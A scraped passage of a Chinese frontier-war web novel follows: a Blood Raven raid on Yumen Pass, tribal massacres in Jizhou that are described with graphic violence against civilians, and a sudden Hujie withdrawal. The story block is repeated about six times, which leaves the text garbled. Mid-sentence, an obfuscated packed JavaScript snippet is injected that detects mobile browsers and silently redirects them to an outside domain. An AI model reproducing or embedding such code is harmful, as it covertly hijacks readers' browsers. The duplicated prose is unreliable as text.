血鸦之名他早有耳闻,却从文正面与之交锋过,这次算是了解到这支凶名赫赫的王牌斥候有多恐怖了。 “凌川,这份情,我张嶷岳记下了!” 武定关,凌川前日让唐岿然带兵前往朝天垭,配合薛镇锷的虎贲骑袭击胡羯二路大军后方,此战虽未能大获全胜,但却将先机抢了回来,以至于慕容陲的狮甲军只能龟缩在大营,不敢轻举妄动。 纪天禄风尘仆仆进入节堂,禀报道:“大人,刚刚接到消息,血鸦军团已经被击退了,不过,玉门关守军还是付出了数百人的代价!” 凌川点了点头,说道:“血鸦的实力我是领教过的,一般的边军根本无法跟他们对抗!” “若有机会,属下定要领教一番!”纪天禄眼神中满是战意,跃跃欲试。 他进入死字营之前,曾任云州军校尉,但,并未与血鸦军团交过手,如今,手下虽只有一支百人斥候队,却有信心与血鸦碰一下,看看传说中的血鸦军团到底有多恐怖。 凌川笑了笑,说道:“放心吧,以后有机会的!” 对于纪天禄这种态度,凌川是欣赏的,而且,这支斥候队的训练项目都是凌川亲手拟定,他相信,假以时日,定会不输血鸦,甚至是超越。 那般,武定关立马便做出策应,五千轻骑自后方杀至。 好在他早有防备,提前布置了大量拒马桩和铁蒺藜,可即便如此,还是损失惨重,主要是凌川率领的轻骑中配置了一种射程恐怖的弓箭,几轮抛射下来,便收走上千胡羯士兵的性命。 这一战,让狮甲军损失惨重,慕容陲也只能收兵防御。 凉州,五百血鸦斥候连夜潜入关内,将玉门关至凉州沿途烽燧一一拔除,并且,连夜偷袭玉门关。 玉门关乃是北疆最重要关隘之一,相比起狼烽口有过之而无不及。 如果说狼烽口失守,整个云州都将暴露在胡羯铁骑的马蹄之下,那么玉门关失守,整个北境七州都将成为胡羯的后花园,可来去自如。 镇守玉门关的乃是张嶷岳,此人正值当打之年且行事稳重,当年更是在危急关头带兵将卢帅从蛇窟**的天罗地网中救了出来。 玉门关受地势之限,只能容纳三千驻军,但,在张嶷岳的布置下,整个玉门关宛如铁桶一般,多年来没出过任何纰漏。 玉门关虽险,但对于血鸦军团来说潜入并不难。 可刚才现身便被玉门关的守军发现,连夜血战,玉门关守军损失惨重,哪怕是面对凶名压边关的血鸦军团,他们也毫不畏惧。 最终,折损了五百余人才将其打退,而潜入关内的三十多名血鸦成员也尽数伏诛。 对于血鸦军团而言,这无疑是他们战绩上的污点,上次一支小队葬身狼烽口,这次五百血鸦军团倾巢出动,却未能拿下玉门关。 此战虽化险为夷,可张嶷岳的脸色却出奇凝重,只见他紧握着一封密信,心有余悸之感至今未曾消散。 昨天日落之前,一支飞箭从城外飞来,径直钉在城墙垛口之上,对方并未停留,射完这一箭便策马离开。 守军发现,箭上竟然裹着一封密信,便将其交给了将军张嶷岳。 后者拆开之后,发现信中只有一句话‘血鸦欲夜袭玉门关’,落款只有两个字——凌川。 尽管张嶷岳也无法确认信息的真实性,但这种时候宁可信其有不可信其无,连忙调兵布防。 果然,血鸦军团出现了,尽管他提前准备,还是付出了不小代价,若没有这封密信,此时玉门关极有可能已经易主。 血鸦之名他早有耳闻,却从文正面与之交锋过,这次算是了解到这支凶名赫赫的王牌斥候有多恐怖了。 “凌川,这份情,我张嶷岳记下了!” 武定关,凌川前日让唐岿然带兵前往朝天垭,配合薛镇锷的虎贲骑袭击胡羯二路大军后方,此战虽未能大获全胜,但却将先机抢了回来,以至于慕容陲的狮甲军只能龟缩在大营,不敢轻举妄动。 纪天禄风尘仆仆进入节堂,禀报道:“大人,刚刚接到消息,血鸦军团已经被击退了,不过,玉门关守军还是付出了数百人的代价!” 凌川点了点头,说道:“血鸦的实力我是领教过的,一般的边军根本无法跟他们对抗!” “若有机会,属下定要领教一番!”纪天禄眼神中满是战意,跃跃欲试。 他进入死字营之前,曾任云州军校尉,但,并未与血鸦军团交过手,如今,手下虽只有一支百人斥候队,却有信心与血鸦碰一下,看看传说中的血鸦军团到底有多恐怖。 凌川笑了笑,说道:“放心吧,以后有机会的!” 对于纪天禄这种态度,凌川是欣赏的,而且,这支斥候队的训练项目都是凌川亲手拟定,他相信,假以时日,定会不输血鸦,甚至是超越。 那般,武定关立马便做出策应,五千轻骑自后方杀至。 好在他早有防备,提前布置了大量拒马桩和铁蒺藜,可即便如此,还是损失惨重,主要是凌川率领的轻骑中配置了一种射程恐怖的弓箭,几轮抛射下来,便收走上千胡羯士兵的性命。 这一战,让狮甲军损失惨重,慕容陲也只能收兵防御。 凉州,五百血鸦斥候连夜潜入关内,将玉门关至凉州沿途烽燧一一拔除,并且,连夜偷袭玉门关。 玉门关乃是北疆最重要关隘之一,相比起狼烽口有过之而无不及。 如果说狼烽口失守,整个云州都将暴露在胡羯铁骑的马蹄之下,那么玉门关失守,整个北境七州都将成为胡羯的后花园,可来去自如。 镇守玉门关的乃是张嶷岳,此人正值当打之年且行事稳重,当年更是在危急关头带兵将卢帅从蛇窟**的天罗地网中救了出来。 玉门关受地势之限,只能容纳三千驻军,但,在张嶷岳的布置下,整个玉门关宛如铁桶一般,多年来没出过任何纰漏。 玉门关虽险,但对于血鸦军团来说潜入并不难。 可刚才现身便被玉门关的守军发现,连夜血战,玉门关守军损失惨重,哪怕是面对凶名压边关的血鸦军团,他们也毫不畏惧。 最终,折损了五百余人才将其打退,而潜入关内的三十多名血鸦成员也尽数伏诛。 对于血鸦军团而言,这无疑是他们战绩上的污点,上次一支小队葬身狼烽口,这次五百血鸦军团倾巢出动,却未能拿下玉门关。 此战虽化险为夷,可张嶷岳的脸色却出奇凝重,只见他紧握着一封密信,心有余悸之感至今未曾消散。 昨天日落之前,一支飞箭从城外飞来,径直钉在城墙垛口之上,对方并未停留,射完这一箭便策马离开。 守军发现,箭上竟然裹着一封密信,便将其交给了将军张嶷岳。 后者拆开之后,发现信中只有一句话‘血鸦欲夜袭玉门关’,落款只有两个字——凌川。 尽管张嶷岳也无法确认信息的真实性,但这种时候宁可信其有不可信其无,连忙调兵布防。 果然,血鸦军团出现了,尽管他提前准备,还是付出了不小代价,若没有这封密信,此时玉门关极有可能已经易主。 血鸦之名他早有耳闻,却从文正面与之交锋过,这次算是了解到这支凶名赫赫的王牌斥候有多恐怖了。 “凌川,这份情,我张嶷岳记下了!” 武定关,凌川前日让唐岿然带兵前往朝天垭,配合薛镇锷的虎贲骑袭击胡羯二路大军后方,此战虽未能大获全胜,但却将先机抢了回来,以至于慕容陲的狮甲军只能龟缩在大营,不敢轻举妄动。 纪天禄风尘仆仆进入节堂,禀报道:“大人,刚刚接到消息,血鸦军团已经被击退了,不过,玉门关守军还是付出了数百人的代价!” 凌川点了点头,说道:“血鸦的实力我是领教过的,一般的边军根本无法跟他们对抗!” “若有机会,属下定要领教一番!”纪天禄眼神中满是战意,跃跃欲试。 他进入死字营之前,曾任云州军校尉,但,并未与血鸦军团交过手,如今,手下虽只有一支百人斥候队,却有信心与血鸦碰一下,看看传说中的血鸦军团到底有多恐怖。 凌川笑了笑,说道:“放心吧,以后有机会的!” 对于纪天禄这种态度,凌川是欣赏的,而且,这支斥候队的训练项目都是凌川亲手拟定,他相信,假以时日,定会不输血鸦,甚至是超越。 那般,武定关立马便做出策应,五千轻骑自后方杀至。 好在他早有防备,提前布置了大量拒马桩和铁蒺藜,可即便如此,还是损失惨重,主要是凌川率领的轻骑中配置了一种射程恐怖的弓箭,几轮抛射下来,便收走上千胡羯士兵的性命。 这一战,让狮甲军损失惨重,慕容陲也只能收兵防御。 凉州,五百血鸦斥候连夜潜入关内,将玉门关至凉州沿途烽燧一一拔除,并且,连夜偷袭玉门关。 玉门关乃是北疆最重要关隘之一,相比起狼烽口有过之而无不及。 如果说狼烽口失守,整个云州都将暴露在胡羯铁骑的马蹄之下,那么玉门关失守,整个北境七州都将成为胡羯的后花园,可来去自如。 镇守玉门关的乃是张嶷岳,此人正值当打之年且行事稳重,当年更是在危急关头带兵将卢帅从蛇窟**的天罗地网中救了出来。 玉门关受地势之限,只能容纳三千驻军,但,在张嶷岳的布置下,整个玉门关宛如铁桶一般,多年来没出过任何纰漏。 玉门关虽险,但对于血鸦军团来说潜入并不难。 可刚才现身便被玉门关的守军发现,连夜血战,玉门关守军损失惨重,哪怕是面对凶名压边关的血鸦军团,他们也毫不畏惧。 最终,折损了五百余人才将其打退,而潜入关内的三十多名血鸦成员也尽数伏诛。 对于血鸦军团而言,这无疑是他们战绩上的污点,上次一支小队葬身狼烽口,这次五百血鸦军团倾巢出动,却未能拿下玉门关。 此战虽化险为夷,可张嶷岳的脸色却出奇凝重,只见他紧握着一封密信,心有余悸之感至今未曾消散。 昨天日落之前,一支飞箭从城外飞来,径直钉在城墙垛口之上,对方并未停留,射完这一箭便策马离开。 守军发现,箭上竟然裹着一封密信,便将其交给了将军张嶷岳。 后者拆开之后,发现信中只有一句话‘血鸦欲夜袭玉门关’,落款只有两个字——凌川。 尽管张嶷岳也无法确认信息的真实性,但这种时候宁可信其有不可信其无,连忙调兵布防。 果然,血鸦军团出现了,尽管他提前准备,还是付出了不小代价,若没有这封密信,此时玉门关极有可能已经易主。 血鸦之名他早有耳闻,却从文正面与之交锋过,这次算是了解到这支凶名赫赫的王牌斥候有多恐怖了。 “凌川,这份情,我张嶷岳记下了!” 武定关,凌川前日让唐岿然带兵前往朝天垭,配合薛镇锷的虎贲骑袭击胡羯二路大军后方,此战虽未能大获全胜,但却将先机抢了回来,以至于慕容陲的狮甲军只能龟缩在大营,不敢轻举妄动。 纪天禄风尘仆仆进入节堂,禀报道:“大人,刚刚接到消息,血鸦军团已经被击退了,不过,玉门关守军还是付出了数百人的代价!” 凌川点了点头,说道:“血鸦的实力我是领教过的,一般的边军根本无法跟他们对抗!” “若有机会,属下定要领教一番!”纪天禄眼神中满是战意,跃跃欲试。 他进入死字营之前,曾任云州军校尉,但,并未与血鸦军团交过手,如今,手下虽只有一支百人斥候队,却有信心与血鸦碰一下,看看传说中的血鸦军团到底有多恐怖。 凌川笑了笑,说道:“放心吧,以后有机会的!” 对于纪天禄这种态度,凌川是欣赏的,而且,这支斥候队的训练项目都是凌川亲手拟定,他相信,假以时日,定会不输血鸦,甚至是超越。 那般,武定关立马便做出策应,五千轻骑自后方杀至。 好在他早有防备,提前布置了大量拒马桩和铁蒺藜,可即便如此,还是损失惨重,主要是凌川率领的轻骑中配置了一种射程恐怖的弓箭,几轮抛射下来,便收走上千胡羯士兵的性命。 这一战,让狮甲军损失惨重,慕容陲也只能收兵防御。 凉州,五百血鸦斥候连夜潜入关内,将玉门关至凉州沿途烽燧一一拔除,并且,连夜偷袭玉门关。 玉门关乃是北疆最重要关隘之一,相比起狼烽口有过之而无不及。 如果说狼烽口失守,整个云州都将暴露在胡羯铁骑的马蹄之下,那么玉门关失守,整个北境七州都将成为胡羯的后花园,可来去自如。 镇守玉门关的乃是张嶷岳,此人正值当打之年且行事稳重,当年更是在危急关头带兵将卢帅从蛇窟**的天罗地网中救了出来。 玉门关受地势之限,只能容纳三千驻军,但,在张嶷岳的布置下,整个玉门关宛如铁桶一般,多年来没出过任何纰漏。 玉门关虽险,但对于血鸦军团来说潜入并不难。 可刚才现身便被玉门关的守军发现,连夜血战,玉门关守军损失惨重,哪怕是面对凶名压边关的血鸦军团,他们也毫不畏惧。 最终,折损了五百余人才将其打退,而潜入关内的三十多名血鸦成员也尽数伏诛。 对于血鸦军团而言,这无疑是他们战绩上的污点,上次一支小队葬身狼烽口,这次五百血鸦军团倾巢出动,却未能拿下玉门关。 此战虽化险为夷,可张嶷岳的脸色却出奇凝重,只见他紧握着一封密信,心有余悸之感至今未曾消散。 昨天日落之前,一支飞箭从城外飞来,径直钉在城墙垛口之上,对方并未停留,射完这一箭便策马离开。 守军发现,箭上竟然裹着一封密信,便将其交给了将军张嶷岳。 后者拆开之后,发现信中只有一句话‘血鸦欲夜袭玉门关’,落款只有两个字——凌川。 尽管张嶷岳也无法确认信息的真实性,但这种时候宁可信其有不可信其无,连忙调兵布防。 果然,血鸦军团出现了,尽管他提前准备,还是付出了不小代价,若没有这封密信,此时玉门关极有可能已经易主。 血鸦之名他早有耳闻,却从文正面与之交锋过,这次算是了解到这支凶名赫赫的王牌斥候有多恐怖了。 “凌川,这份情,我张嶷岳记下了!” 武定关,凌川前日让唐岿然带兵前往朝天垭,配合薛镇锷的虎贲骑袭击胡羯二路大军后方,此战虽未能大获全胜,但却将先机抢了回来,以至于慕容陲的狮甲军只能龟缩在大营,不敢轻举妄动。 纪天禄风尘仆仆进入节堂,禀报道:“大人,刚刚接到消息,血鸦军团已经被击退了,不过,玉门关守军还是付出了数百人的代价!” 凌川点了点头,说道:“血鸦的实力我是领教过的,一般的边军根本无法跟他们对抗!” “若有机会,属下定要领教一番!”纪天禄眼神中满是战意,跃跃欲试。 他进入死字营之前,曾任云州军校尉,但,并未与血鸦军团交过手,如今,手下虽只有一支百人斥候队,却有信心与血鸦碰一下,看看传说中的血鸦军团到底有多恐怖。 凌川笑了笑,说道:“放心吧,以后有机会的!” 对于纪天禄这种态度,凌川是欣赏的,而且,这支斥候队的训练项目都是凌川亲手拟定,他相信,假以时日,定会不输血鸦,甚至是超越。 那般,武定关立马便做出策应,五千轻骑自后方杀至。 好在他早有防备,提前布置了大量拒马桩和铁蒺藜,可即便如此,还是损失惨重,主要是凌川率领的轻骑中配置了一种射程恐怖的弓箭,几轮抛射下来,便收走上千胡羯士兵的性命。 这一战,让狮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022220|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甲军损失惨重,慕容陲也只能收兵防御。 凉州,五百血鸦斥候连夜潜入关内,将玉门关至凉州沿途烽燧一一拔除,并且,连夜偷袭玉门关。 玉门关乃是北疆最重要关隘之一,相比起狼烽口有过之而无不及。 如果说狼烽口失守,整个云州都将暴露在胡羯铁骑的马蹄之下,那么玉门关失守,整个北境七州都将成为胡羯的后花园,可来去自如。 镇守玉门关的乃是张嶷岳,此人正值当打之年且行事稳重,当年更是在危急关头带兵将卢帅从蛇窟**的天罗地网中救了出来。 玉门关受地势之限,只能容纳三千驻军,但,在张嶷岳的布置下,整个玉门关宛如铁桶一般,多年来没出过任何纰漏。 玉门关虽险,但对于血鸦军团来说潜入并不难。 可刚才现身便被玉门关的守军发现,连夜血战,玉门关守军损失惨重,哪怕是面对凶名压边关的血鸦军团,他们也毫不畏惧。 最终,折损了五百余人才将其打退,而潜入关内的三十多名血鸦成员也尽数伏诛。 对于血鸦军团而言,这无疑是他们战绩上的污点,上次一支小队葬身狼烽口,这次五百血鸦军团倾巢出动,却未能拿下玉门关。 此战虽化险为夷,可张嶷岳的脸色却出奇凝重,只见他紧握着一封密信,心有余悸之感至今未曾消散。 昨天日落之前,一支飞箭从城外飞来,径直钉在城墙垛口之上,对方并未停留,射完这一箭便策马离开。 守军发现,箭上竟然裹着一封密信,便将其交给了将军张嶷岳。 后者拆开之后,发现信中只有一句话‘血鸦欲夜袭玉门关’,落款只有两个字——凌川。 尽管张嶷岳也无法确认信息的真实性,但这种时候宁可信其有不可信其无,连忙调兵布防。 果然,血鸦军团出现了,尽管他提前准备,还是付出了不小代价,若没有这封密信,此时玉门关极有可能已经易主。 血鸦之名他早有耳闻,却从文正面与之交锋过,这次算是了解到这支凶名赫赫的王牌斥候有多恐怖了。 “凌川,这份情,我张嶷岳记下了!” 武定关,凌川前日让唐岿然带兵前往朝天垭,配合薛镇锷的虎贲骑袭击胡羯二路大军后方,此战虽未能大获全胜,但却将先机抢了回来,以至于慕容陲的狮甲军只能龟缩在大营,不敢轻举妄动。 纪天禄风尘仆仆进入节堂,禀报道:“大人,刚刚接到消息,血鸦军团已经被击退了,不过,玉门关守军还是付出了数百人的代价!” 凌川点了点头,说道:“血鸦的实力我是领教过的,一般的边军根本无法跟他们对抗!” “若有机会,属下定要领教一番!”纪天禄眼神中满是战意,跃跃欲试。 他进入死字营之前,曾任云州军校尉,但,并未与血鸦军团交过手,如今,手下虽只有一支百人斥候队,却有信心与血鸦碰一下,看看传说中的血鸦军团到底有多恐怖。 凌川笑了笑,说道:“放心吧,以后有机会的!” 对于纪天禄这种态度,凌川是欣赏的,而且,这支斥候队的训练项目都是凌川亲手拟定,他相信,假以时日,定会不输血鸦,甚至是超越。 那般,武定关立马便做出策应,五千轻骑自后方杀至。 好在他早有防备,提前布置了大量拒马桩和铁蒺藜,可即便如此,还是损失惨重,主要是凌川率领的轻骑中配置了一种射程恐怖的弓箭,几轮抛射下来,便收走上千胡羯士兵的性命。 这一战,让狮甲军损失惨重,慕容陲也只能收兵防御。 凉州,五百血鸦斥候连夜潜入关内,将玉门关至凉州沿途烽燧一一拔除,并且,连夜偷袭玉门关。 玉门关乃是北疆最重要关隘之一,相比起狼烽口有过之而无不及。 如果说狼烽口失守,整个云州都将暴露在胡羯铁骑的马蹄之下,那么玉门关失守,整个北境七州都将成为胡羯的后花园,可来去自如。 镇守玉门关的乃是张嶷岳,此人正值当打之年且行事稳重,当年更是在危急关头带兵将卢帅从蛇窟**的天罗地网中救了出来。 玉门关受地势之限,只能容纳三千驻军,但,在张嶷岳的布置下,整个玉门关宛如铁桶一般,多年来没出过任何纰漏。 玉门关虽险,但对于血鸦军团来说潜入并不难。 可刚才现身便被玉门关的守军发现,连夜血战,玉门关守军损失惨重,哪怕是面对凶名压边关的血鸦军团,他们也毫不畏惧。 最终,折损了五百余人才将其打退,而潜入关内的三十多名血鸦成员也尽数伏诛。 对于血鸦军团而言,这无疑是他们战绩上的污点,上次一支小队葬身狼烽口,这次五百血鸦军团倾巢出动,却未能拿下玉门关。 此战虽化险为夷,可张嶷岳的脸色却出奇凝重,只见他紧握着一封密信,心有余悸之感至今未曾消散。 昨天日落之前,一支飞箭从城外飞来,径直钉在城墙垛口之上,对方并未停留,射完这一箭便策马离开。 守军发现,箭上竟然裹着一封密信,便将其交给了将军张嶷岳。 后者拆开之后,发现信中只有一句话‘血鸦欲夜袭玉门关’,落款只有两个字——凌川。 尽管张嶷岳也无法确认信息的真实性,但这种时候宁可信其有不可信其无,连忙调兵布防。 果然,血鸦军团出现了,尽管他提前准备,还是付出了不小代价,若没有这封密信,此时玉门关极有可能已经易主。 血鸦之名他早有耳闻,却从文正面与之交锋过,这次算是了解到这支凶名赫赫的王牌斥候有多恐怖了。 “凌川,这份情,我张嶷岳记下了!” 武定关,凌川前日让唐岿然带兵前往朝天垭,配合薛镇锷的虎贲骑袭击胡羯二路大军后方,此战虽未能大获全胜,但却将先机抢了回来,以至于慕容陲的狮甲军只能龟缩在大营,不敢轻举妄动。 纪天禄风尘仆仆进入节堂,禀报道:“大人,刚刚接到消息,血鸦军团已经被击退了,不过,玉门关守军还是付出了数百人的代价!” 凌川点了点头,说道:“血鸦的实力我是领教过的,一般的边军根本无法跟他们对抗!” “若有机会,属下定要领教一番!”纪天禄眼神中满是战意,跃跃欲试。 他进入死字营之前,曾任云州军校尉,但,并未与血鸦军团交过手,如今,手下虽只有一支百人斥候队,却有信心与血鸦碰一下,看看传说中的血鸦军团到底有多恐怖。 凌川笑了笑,说道:“放心吧,以后有机会的!” 对于纪天禄这种态度,凌川是欣赏的,而且,这支斥候队的训练项目都是凌川亲手拟定,他相信,假以时日,定会不输血鸦,甚至是超越。 那般,武定关立马便做出策应,五千轻骑自后方杀至。 好在他早有防备,提前布置了大量拒马桩和铁蒺藜,可即便如此,还是损失惨重,主要是凌川率领的轻骑中配置了一种射程恐怖的弓箭,几轮抛射下来,便收走上千胡羯士兵的性命。 这一战,让狮甲军损失惨重,慕容陲也只能收兵防御。 凉州,五百血鸦斥候连夜潜入关内,将玉门关至凉州沿途烽燧一一拔除,并且,连夜偷袭玉门关。 玉门关乃是北疆最重要关隘之一,相比起狼烽口有过之而无不及。 如果说狼烽口失守,整个云州都将暴露在胡羯铁骑的马蹄之下,那么玉门关失守,整个北境七州都将成为胡羯的后花园,可来去自如。 镇守玉门关的乃是张嶷岳,此人正值当打之年且行事稳重,当年更是在危急关头带兵将卢帅从蛇窟**的天罗地网中救了出来。 玉门关受地势之限,只能容纳三千驻军,但,在张嶷岳的布置下,整个玉门关宛如铁桶一般,多年来没出过任何纰漏。 玉门关虽险,但对于血鸦军团来说潜入并不难。 可刚才现身便被玉门关的守军发现,连夜血战,玉门关守军损失惨重,哪怕是面对凶名压边关的血鸦军团,他们也毫不畏惧。 最终,折损了五百余人才将其打退,而潜入关内的三十多名血鸦成员也尽数伏诛。 对于血鸦军团而言,这无疑是他们战绩上的污点,上次一支小队葬身狼烽口,这次五百血鸦军团倾巢出动,却未能拿下玉门关。 此战虽化险为夷,可张嶷岳的脸色却出奇凝重,只见他紧握着一封密信,心有余悸之感至今未曾消散。 昨天日落之前,一支飞箭从城外飞来,径直钉在城墙垛口之上,对方并未停留,射完这一箭便策马离开。 守军发现,箭上竟然裹着一封密信,便将其交给了将军张嶷岳。 后者拆开之后,发现信中只有一句话‘血鸦欲夜袭玉门关’,落款只有两个字——凌川。 尽管张嶷岳也无法确认信息的真实性,但这种时候宁可信其有不可信其无,连忙调兵布防。 果然,血鸦军团出现了,尽管他提前准备,还是付出了不小代价,若没有这封密信,此时玉门关极有可能已经易主。 血鸦之名他早有耳闻,却从文正面与之交锋过,这次算是了解到这支凶名赫赫的王牌斥候有多恐怖了。 “凌川,这份情,我张嶷岳记下了!” 武定关,凌川前日让唐岿然带兵前往朝天垭,配合薛镇锷的虎贲骑袭击胡羯二路大军后方,此战虽未能大获全胜,但却将先机抢了回来,以至于慕容陲的狮甲军只能龟缩在大营,不敢轻举妄动。 纪天禄风尘仆仆进入节堂,禀报道:“大人,刚刚接到消息,血鸦军团已经被击退了,不过,玉门关守军还是付出了数百人的代价!” 凌川点了点头,说道:“血鸦的实力我是领教过的,一般的边军根本无法跟他们对抗!” “若有机会,属下定要领教一番!”纪天禄眼神中满是战意,跃跃欲试。 他进入死字营之前,曾任云州军校尉,但,并未与血鸦军团交过手,如今,手下虽只有一支百人斥候队,却有信心与血鸦碰一下,看看传说中的血鸦军团到底有多恐怖。 凌川笑了笑,说道:“放心吧,以后有机会的!” 对于纪天禄这种态度,凌川是欣赏的,而且,这支斥候队的训练项目都是凌川亲手拟定,他相信,假以时日,定会不输血鸦,甚至是超越。 第172章 蓟州失守! 为了让这一百斥候能够得到磨砺,凌川让纪天禄带着他们游走在关外。 几日前,他们发现了血鸦军团的行踪,这让纪天禄既震惊又激动,不过他并未擅自行动,而是迅速派闻侩将消息汇报给凌川,而自己则是带人远远跟随。 血鸦出动绝非小事,而且还是在如今两国交战进入白热化的关键时候,血鸦更不可能无缘无故出现。 这消息立马也引起了凌川的重视,通过对血鸦路线的分析,凌川最终得出一个结论。 血鸦军团的目标十有八九是玉门关。 如果不是这般重要的目标,五百血鸦军团不可能全体出动。 事关重大,凌川让闻侩立马出发,快马赶到玉门关,将消息报给守将张嶷岳。 也正是有了凌川送到的消息,张嶷岳才提前布局,挡住了血鸦的进攻,只是凌川没想到,即便是提前得知消息的情况下,还是付出了如此巨大的代价。 四月廿九,一则噩耗如惊雷炸响北境七州,令千里北疆陷入血色恐慌。 蓟州三道钢铁防线——拒马堡、控弦关、镇北台,竟在半日之内接连崩塌! 镇守要隘的两名副将、一名都尉血染城墙,一万蓟州儿郎的尸骨垒成新的边关。消息传来,举世皆惊。 蓟州,这片从未被视为主战场的土地,竟成了胡羯铁骑撕开北疆的第二道血口! 节度府之中,所有人神色凝重,噤若寒蝉。 卢恽筹更是双拳紧握,眼眸中寒光闪现。 蓟州边境线不过三百里,西倚祁连山天险,东连雁门关要冲,历来是胡羯眼中的鸡肋。纵是北疆全线开战,蓟州也只留了一万边军镇守,其余兵力早已调往凉州、陵州等主战场。 直到两日前,关外草原突然升起三面血旗! 金雕折月旗撕裂云层,浑邪部五千轻骑兵如金色闪电直袭拒马堡。 雷隼裂云旗裹挟雷霆,骨咄禄部六千轻骑化作赤色洪流,朝着控弦关碾压而来。 而镇北台外,赤焰燎原旗所过之处,宛如数丈高的血色火墙,兰提部五千轻骑朝镇北台席卷而来。 三处要隘,连半日都未撑住。 当浑邪部的金雕折月旗插上拒马堡城头时,城内再无一名活着的蓟州军,他们的血顺着青石板缝汇成溪流,浸透了胡羯军的马靴。 “屠城!男女老少一个不留!” 骨咄禄部的主将挥舞着滴血的弯刀,麾下士兵的嘶吼震得残破城墙上夯土滚落。 数千士兵宛如噩梦一般,见人就杀,见房屋就烧,所过之处不留活口 晨雾未散,浑邪部的铁骑闯入拒马堡以南的村寨。 老妇抱着襁褓中的婴儿躲进地窖,却听见头顶传来胡羯士兵的狞笑,他们用长枪挑开窖门,将火把掷向堆满干草的角落。 火焰瞬间腾起,将婴儿的啼哭与老妇的咒骂淹没,只剩身体被烧焦的糊臭在空气中弥漫。 控弦关内,成百上千的百姓被驱赶到城中,胡羯士兵围成一圈,一个个狰狞大笑,宛如从地域爬出来的恶魔一般。 这些百姓在惊恐与绝望之中被乱箭射杀,如山一般的尸体中有母亲身上插满箭矢,却将孩子死死护在怀中,有老者用身躯为老伴儿挡住飞箭,有儿子将母亲护在身下,自身却被箭矢射透。 只可惜,一切都是徒劳,就算没有被当场射杀,那些恶魔也会踏着血水上来补刀。 镇北台关内,火光冲天,一座座房屋被点燃,一座座村寨在漫天火光中付之一炬。 一个少女被拖出人群,她拼命撕咬胡羯士兵的手腕,换来的却是被按在燃烧的房梁上…… 皮肉滋滋作响的声音中,少女的手指深深抠进木炭,留下五道血痕。 三支部落的精锐如蝗虫过境,所到之处,二十七座边镇化为焦土。 卢恽筹嘴唇颤抖,指节发白,咬牙道:“他们不是来攻城的,而是来灭种的!” 蓟州主将裴鸣鹤连夜调遣蓟州境内所有兵力,包括辅兵都尽数披甲持刀,此时瞿听松也带领所有衙役官差一起赶赴边关。 可谁也想不到,这三部联军并未进一步攻打蓟州,而是撤出了关外。 这一巨变,不仅让裴鸣鹤二人始料未及,就连关内那些被吓得瑟瑟发抖的百姓也都不敢相信。 裴鸣鹤率兵来到已彻底化为死城的镇北台,到处都是死尸,有百姓的也有蓟州边军的,地面上的血迹仿佛在诉说着不久前发生那惨烈的场景。 裴鸣鹤浑身颤抖,双目血红。 “噗通……” 只见他双膝弯曲,跪在被鲜血染红的废墟之中。 “千古罪人裴鸣鹤,无颜面对父老乡亲,更无颜面对卢帅,今日,以死谢罪!” “唰……” 只见他腰间宝刀出鞘,径直朝着自己脖子抹去。 “将军,不可!” 亲兵见状,被吓得魂不附体,连忙冲上去抱住他,其中一名士兵更是死死抓住刀身,哪怕刀刃割开手指也浑然不觉。 刺史瞿听松也是满脸惊恐,上前说道:“将军,我知你心痛如绞,可我们在场所有人又何尝不是如此呢?” “你是蓟州主将,而我身为蓟州刺史,同样是一州父母官,见治下百姓被无情屠戮的场景,我的心也在滴血啊!” 瞿听松老泪纵横,浑身颤抖,继续说道:“我等当留着残躯,为他们报仇,而不是选择轻生逃避啊!” 听闻此言,裴鸣鹤仿佛被一语惊醒,眼神中猛然闪现出一抹寒芒,呢喃道:“对,瞿大人说得对,我要为他们报仇!” 裴鸣鹤收起战刀,缓缓站起身来,转身看向全体将士:“我们身为边军,却未能守住边关,让百姓遭劫,这是我们的耻辱,更是我们的罪过,唯有砍下那些恶魔的头颅,方能祭奠二十七镇百姓的亡魂!” “报仇,报仇!”所有士兵跟着齐声大喊。 裴鸣鹤亲率六千蓟州军自镇北台出关,一路沿着敌军马蹄追赶,然而,一直到天黑,追了足足一百多里,都没有见到一个胡羯人的身影。 这不由得让他心生疑惑,莫非对方是故意如此,其目的是趁着蓟州空虚之际,杀一个回马枪? 这个念头刚一出现,裴鸣鹤当场被吓出一身冷汗。 喜欢边关兵王:从领娶罪女开始崛起请大家收藏:()边关兵王:从领娶罪女开始崛起更新速度全网最快。 第173章 偃旗息鼓! 昭和二十七年,五月初一! 胡羯撤军。 这一切来得太突然,让人反应不过来。 哪怕是节度府,在得知这个消息的时候,也是一脸茫然,脑海中冒出的第一个念头就是有陷阱。 要知道,此次胡羯可是铁了心要攻破北疆,马踏中原。 不仅四十万南征军倾巢而出,天汗城更是调动另外三大王族和十三部的兵马驰援前线,七路大军横压北疆,欲一举叩开北疆防线,马踏中原,直捣神都。 先不说为了这一战,胡羯帝国准备了多久,仅仅是数十万大军所需粮草,就是一个无法估算的天文数字。 而且,开战至今,胡羯几路大军损失惨重,付出了如此巨大的代价,总算是让大周北疆的防线出现松动,这个时候,他们理应一鼓作气叩开边关才对。 然而,就在战斗进行到最激烈的时候,胡羯七路大军竟然在一夜间全部撤走,连一兵一卒都没有留下。 原本剑拔弩张的战场,对手却忽然消失,让七州边军都摸不着头脑,节度府更是在第一时间传令七州,派出所有斥候探查情况。 而且,七路大军撤得非常匆忙,营地中,各种攻城器械都没有搬走,乃至于粮草兵甲都留下不少。 从各大营地的情况来看,与其说是撤离,更像是溃逃。 三日后,各路斥候传回消息。 胡羯七路大军全部北撤,甚至于,此前很多靠近北疆边境的驻军据点都已经放弃,相比起开战之前,还往北撤离了八十里。 节度府帅营之中,卢恽筹眉头紧锁,来回踱步。 “如果本帅猜得不错,天汗城出事了!” 此言一出,让所有人都倒吸一口凉气。 这个猜测听起来难以置信,可思来想去,似乎也只有这一种可能才能解释得通了。 